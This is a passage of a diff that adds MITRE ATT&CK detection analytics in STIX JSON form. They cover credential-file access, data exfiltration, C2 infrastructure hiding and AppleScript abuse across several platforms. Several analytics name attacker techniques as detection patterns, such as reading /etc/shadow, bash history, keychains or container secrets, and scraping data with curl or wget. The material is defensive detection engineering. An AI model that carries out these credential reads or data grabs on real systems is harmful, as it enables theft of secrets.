"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0410#AN1147", + "external_id": "AN1147" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1147", + "description": "Detection of file access from mounted SMB shares followed by copy or exfil commands from Terminal or script interpreter processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "filesystem and process events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "fs:fsusage", + "channel": "open/read/mount operations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessPath", + "description": "Script interpreters may vary (e.g., zsh, bash, python, osascript)." + }, + { + "field": "SharePath", + "description": "Network drive mount points may differ across enterprises." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9311924d-7d8f-489a-8105-058a60f572fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1148", + "external_id": "AN1148" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1148", + "description": "Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure. Defenders may observe DNS resolutions to short-lived domains, abnormal WHOIS registration data, or filtering of known defensive/responder IP addresses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "dns:query", + "channel": "Excessive lookups for domains with suspicious WHOIS or short TTL values" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousDomains", + "description": "List of domains registered with privacy-protected or suspicious WHOIS metadata." + }, + { + "field": "ResponderIPs", + "description": "Known incident response or scanning infrastructure IP ranges." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c71bf861-9b5a-4f39-a53f-bb6f45f7a971", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1149", + "external_id": "AN1149" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1149", + "description": "Detect adversaries filtering traffic or modifying server responses to evade scanning. Monitor iptables, nftables, or proxy configurations that deny or redirect requests from known scanning agents or defensive tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of commands modifying iptables/nftables to block selective IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "NSM:Flow", + "channel": "Altered response metadata or blocked content based on user-agent or geolocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BlockedAgents", + "description": "User-agent strings or scanning tools to monitor for selective filtering." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9cf6c89d-73f7-42f8-b5e4-c87bf3abbb7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1150", + "external_id": "AN1150" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1150", + "description": "Monitor unified logs for manipulation of proxy configurations, DNS resolution, or filtering rules. Adversaries may redirect responses or use trusted domains that later resolve to malicious C2 infrastructure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "System process modifications altering DNS/proxy settings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "NSM:Flow", + "channel": "Suspicious changes in TLS certificate responses or redirected domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedHostingProviders", + "description": "Known hosting/CDN providers often abused to hide malicious C2 infrastructure." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f74d068-0a8b-4312-91f3-34da6c630c4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1151", + "external_id": "AN1151" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1151", + "description": "Inspect network telemetry for adversary attempts to blend malicious traffic with legitimate flows using VPNs, proxies, or geolocation spoofing. Defensive teams may observe anomalous tunnels, encrypted sessions to suspicious domains, or geo-mismatched IP activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Encrypted tunnels or proxy traffic to non-standard destinations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoIPRanges", + "description": "Regions to monitor for unexpected or mismatched geolocation activity." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b16cb6e-7a81-4f97-a4ad-5e461e1cc154", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1152", + "external_id": "AN1152" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1152", + "description": "Monitor VM-level DNS and network traffic logs for adversary-controlled domains or selective response behavior (e.g., dropped requests from security scanners).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "esxi:vmkernel", + "channel": "DNS lookups resolving to domains with rapid changes in registration metadata" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "Suspicious traffic filtered or redirected by VM networking stack" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredVMs", + "description": "Targeted virtual machines where adversaries may attempt to hide C2 traffic." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d76081f4-26cd-4e62-91e8-4e4a3992dd90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1153", + "external_id": "AN1153" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1153", + "description": "Unusual access to bash history, registry credentials paths, or private key files by unauthorized or scripting tools, with correlated file and process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the threshold time for accessing multiple sensitive files indicating automation." + }, + { + "field": "SuspiciousProcessList", + "description": "Process names to monitor (e.g., reg.exe, cmd.exe, powershell.exe, etc.)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--27213df4-c761-4745-b8ef-f91a46966eb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1154", + "external_id": "AN1154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1154", + "description": "Reading of sensitive files like .bash_history, /etc/shadow, or private key directories by unauthorized users or unusual processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read system calls to ~/.bash_history or /etc/shadow" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execution of tools like cat, grep, or awk on credential files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SensitivePaths", + "description": "Paths to credential files such as /etc/shadow or ~/.bash_history" + }, + { + "field": "UserContext", + "description": "Whether the process runs under a privileged or non-interactive session" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--49897e8e-8d14-4fcb-b305-328d44e58f35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1155", + "external_id": "AN1155" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1155", + "description": "Unusual access to ~/Library/Keychains, ~/.bash_history, or Terminal command history by unauthorized processes or users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains or history files by terminal processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Tool or command used to query credentials (e.g., security, grep)" + }, + { + "field": "TargetPath", + "description": "Credential file paths (e.g., ~/Library/Keychains)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0ec40b2f-4969-443f-bad5-4bc6239fec29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1156", + "external_id": "AN1156" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1156", + "description": "Unusual web-based access or API scraping of password managers, single sign-on sessions, or credential sync services via browser automation or anomalous API tokens.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:googleworkspace", + "channel": "Accessed third-party credential management service" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:zoom", + "channel": "unusual web session tokens and automation patterns during login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenAnomalyThreshold", + "description": "Scoring threshold for access token entropy, reuse, or bot-like patterns" + }, + { + "field": "AccessGeoLocation", + "description": "Region anomalies in SaaS portal access" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e30007c-fc51-447f-850a-c8378427be3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1157", + "external_id": "AN1157" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1157", + "description": "Unauthorized API or console calls to retrieve or reset password credentials, download key material, or modify SSO settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Reset password or download key from portal" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "CloudTrail:GetSecretValue", + "channel": "API call to retrieve secret or access key" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSOSettingScope", + "description": "Subset of IdP settings monitored for unauthorized changes" + }, + { + "field": "SecretType", + "description": "Which secrets (passwords, keys, tokens) are monitored" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a68a39c-c4e3-4ff1-88f5-db78575ce15e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1158", + "external_id": "AN1158" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1158", + "description": "Access to container image layers or mounted secrets (e.g., Docker secrets) by processes not tied to entrypoint or orchestration context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "read of /run/secrets or docker volumes by non-entrypoint process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "containerd:Events", + "channel": "unusual process spawned from container image context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntrypointAllowlist", + "description": "Container entrypoints that are permitted to read secrets" + }, + { + "field": "VolumeMountPath", + "description": "Paths to credentials/secrets inside container images" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--badcc199-683b-41f5-9522-9710969cff15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412#AN1159", + "external_id": "AN1159" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1159", + "description": "Use of configuration backup utilities or CLI access to dump plaintext passwords, local user hashes, or SNMP strings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "CLI access to 'show running-config', 'show password', or 'cat config.txt'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "large transfer from management IPs to unauthorized host" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ManagementInterfaceIPs", + "description": "IP ranges authorized to perform credential dumps" + }, + { + "field": "CommandPattern", + "description": "Regex patterns for suspicious CLI commands" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7dce56f3-43db-4787-ae13-bd2ce6851088", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0413#AN1160", + "external_id": "AN1160" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1160", + "description": "Programmatic or excessive access to file shares, SharePoint, or database repositories by users not typically interacting with them. This includes abnormal access by privileged accounts, enumeration of large numbers of files, or downloads of sensitive content in bursts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "m365:unified", + "channel": "Accessed SharePoint files or pages" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Privileged users may be excluded if they routinely perform admin actions on SharePoint or file shares." + }, + { + "field": "AccessVolumeThreshold", + "description": "The number of files accessed or pages retrieved in a short window to flag as abnormal." + }, + { + "field": "TimeWindow", + "description": "The time range (e.g., 5 minutes, 1 hour) in which burst access patterns are considered anomalous." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--59faf79f-831d-436b-9ce3-e5c1d338da6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0413#AN1161", + "external_id": "AN1161" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1161", + "description": "Command-line tools (e.g., curl, rsync, wget, or custom Python scripts) used to scrape documentation systems or internal REST APIs. Unusual access patterns to knowledge base folders or shared team drives.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve of curl, rsync, wget with internal knowledge base or IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandRegex", + "description": "Regex matching internal doc servers, knowledge base paths, or IP patterns." + }, + { + "field": "TimeWindow", + "description": "Burst access of repositories over a short time window." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3655f892-ed0d-4b76-9173-ecb7eebacd8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0413#AN1162", + "external_id": "AN1162" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1162", + "description": "Abuse of SaaS platforms such as Confluence, GitHub, SharePoint Online, or Slack to access excessive internal documentation or export source code/data. Includes use of tokens or browser automation from unapproved IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:confluence", + "channel": "access.content" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "saas:slack", + "channel": "Exported file or accessed admin API" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APIUsageThreshold", + "description": "Number of API calls or files accessed before triggering detection." + }, + { + "field": "KnownSafeIPs", + "description": "Whitelist of internal IPs/users that may be excluded from detection." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eac7b88d-0ee2-4fbf-9e0b-ea73c376ccb3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0413#AN1163", + "external_id": "AN1163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1163", + "description": "Access of mounted cloud shares or document repositories via browser, terminal, or Finder by users not typically interacting with those resources. Includes script-based enumeration or mass download.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "access to /Volumes/SharePoint or network mount" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "curl, python scripts, rsync with internal share URLs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedMountPath", + "description": "Paths to sensitive volumes may differ based on org setup." + }, + { + "field": "UserGroup", + "description": "Expected user groups that typically access shared data." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a67ac8ec-2748-4fe6-8dd7-bd570af1e104", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0414#AN1164", + "external_id": "AN1164" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1164", + "description": "Detects AppleScript execution via 'osascript', NSAppleScript/OSAScript APIs, and abnormal application control events across user sessions. Focuses on causal chains such as osascript spawning child processes, script-induced keystrokes, or API-backed dialog spoofing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process: spawn, exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptInvocationParent", + "description": "Identify rare or suspicious parent processes launching AppleScript (e.g., Safari, Mail, msedge)." + }, + { + 